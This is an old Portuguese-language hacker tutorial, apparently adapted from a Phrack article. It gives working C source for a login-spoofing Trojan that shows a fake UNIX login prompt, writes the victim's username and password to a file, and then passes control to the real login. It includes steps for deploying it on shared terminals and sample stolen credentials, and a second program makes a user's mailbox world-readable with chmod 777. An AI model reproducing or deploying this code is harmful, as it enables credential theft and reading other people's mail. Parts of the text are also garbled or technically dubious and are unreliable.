<><><><><><><><><><><><><> 7***(()UNIX TROJAN())***7 by Draco "SEGURAN€A NO UNIX" ‚ apenas um sonho. Este ‚ um sistema f cil de se quebrar (o melhor de tudo ‚ que numca vai dar HANG UP depois da terceira tentativa de se logar). Uma vez vocˆ estando no sistema, vocˆ pode fazer o que quiser para melhor se informar deem uma olhadinha no artigo da Phrack que diz "UNIX Nasty Tricks" onde existe um c¢digo em C que quebra f cilmente toda precaria seguran‡a do sistema. O que vocˆ precisa ter? Vocˆ precisa de um account em um sistema UNIX. Tamb‚m pode ser uma versao do UNIX 4.2 ou um sistema AT&T V. Precisa executar na maquina um PDP/11, VAX Pyramid para um melhor resultado. NOTAS O que esta por vir foi baseado em um artigo que saiu na Phrack em abril de 86 entitulado "MAKING UNIX SECURE" . Primeira parte: Atr s dos Passwords Vocˆ pode implementar com um conhecimento minimo em UNIX e C. Vocˆ precisa acessar um terminal onde poucas pessoas o usam, o laboratorio da sua escola por exemplo. Quando vocˆ entra no UNIX vocˆ vera primeiramente isto: Tiburon System 4.2 bsd /System V (shark) login: shark password: O programa que eu peguei simula uma sequencia de logon. Vocˆ roda o programa no terminal. Vocˆ ter  de dar o login e o password para entrar. O sistema diz para vocˆ "login and password incorrect" e depois pergunta o login novamente A segunda vez ‚ o programa real de login. Coloque no sistema o arquivo 'horse.c'. Vocˆ precisara modificar as 8 primeiras linhas no seu sistema. --------------------Corta /* this is what a 'C' comment looks like. You can leave them out. */ /* define's are like macros you can use for configuration. */ define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n" /* The above string should be made to look like the message that your * system prints when ready. Each \n represents a carriage return. */ define LOGIN "login: " /* The above is the login prompt. You shouldn't have to change it * unless you're running some strange version of UNIX. */ define PASSWORD "password:" /* The above is the password prompt. You shouldn't have to change * it, either. */ define WAIT 2 /* The numerical value assigned to WAIT is the delay you get after * "password:" and before "login incorrect." Change it (0 = almost * no delay, 5 = LONG delay) so it looks like your system's delay. * realism is the key here - we don't want our target to become * suspicious. */ define INCORRECT "Login incorrect.\n" /* Change the above so it is what your system says when an incorrect * login is given. You shouldn't have to change it. */ define FILENAME "stuff" /* FILENAME is the name of the file that the hacked passwords will * be put into automatically. 'stuff' is a perfectly good name. */ /* Don't change the rest of the program unless there is a need to * and you know 'C'. */ include include int stop(); main() { char name[10], password[10]; int i; FILE *fp, *fopen(); signal(SIGINT,stop); initscr(); printf(SYSTEM); printf(LOGIN); scanf("%[^\n]",name); getchar(); noecho(); printf(PASSWORD); scanf("%[^\n]",password); printf("\n"); getchar(); echo(); sleep(WAIT); if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { fprintf(fp,"login %s has password %s\n",name,password); fclose(fp); } printf(INCORRECT); endwin(); } stop() { endwin(); exit(0); } --------------Corta Agora o seu sistema aparecera com a sequencia do login original. Compile o programa 'horse.c'. Agora vocˆ trabalhara o codigo do objeto no arquivo 'horse'. Rode ele e nao olhe a sequencia do logon, re-edit o 'horse.c' e re-compile o. Quando vocˆ estiver lendo para colocar o programa em uso, crie um novo arquivo e chame 'trap' vocˆ tera dois comandos: horse (para rodar seu programa) login (para rodar o programa real e login) Para executar 'trap' digite: %source 'trap' (nao digite o %) V  para seu terminal. Depois de vocˆ rodar com sucesso em poucas vezes cheque seus arquivos 'stuff' e BINGO hack, hack, hack, hack vejam s¢: user john has password secret user mary has password smega Copie os passwords ou use o comando get ou > sei l  se vira. Segunda Parte: Lendo E-MAIL[]'S Quando o carinha roda um programa de ler e-mail, o processo cria um arquivinho que mais tarde ‚ deletado. Quando a pessoa salva um e-mail velho ela pega no sistema UNIX, e coloca o arquivo no mbox e no seu diretorio. Este arquivo pode ser lido mas ‚ impossivel para alguem sem o 'owner' . Este programa abre (i.e. chmod777, da para alguem o sistema para escrever e ler) o mbox. ---------------Corta include struct passwd *getpwnam(name); struct passwd *p; char buf[255]; main() { p = getpwnam(getlogin()); sprintf(buf,"%s/%s",p->pw_dir,"mbox"); if ( access(buf,0) > -1 ) { sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); system(buf); } } ----------Corta Terceira Parte: Super Usuario Este pequeno comando faz com que qualquer comando possa ser executado dentro do UNIX ou seja vocˆ ser  um Super Usuario. Se bem que em muitos servers este erro j  foi concertado fica valendo mais como conhecimento. "chmod 666 "comando"" <><><><><><><><><><><><><>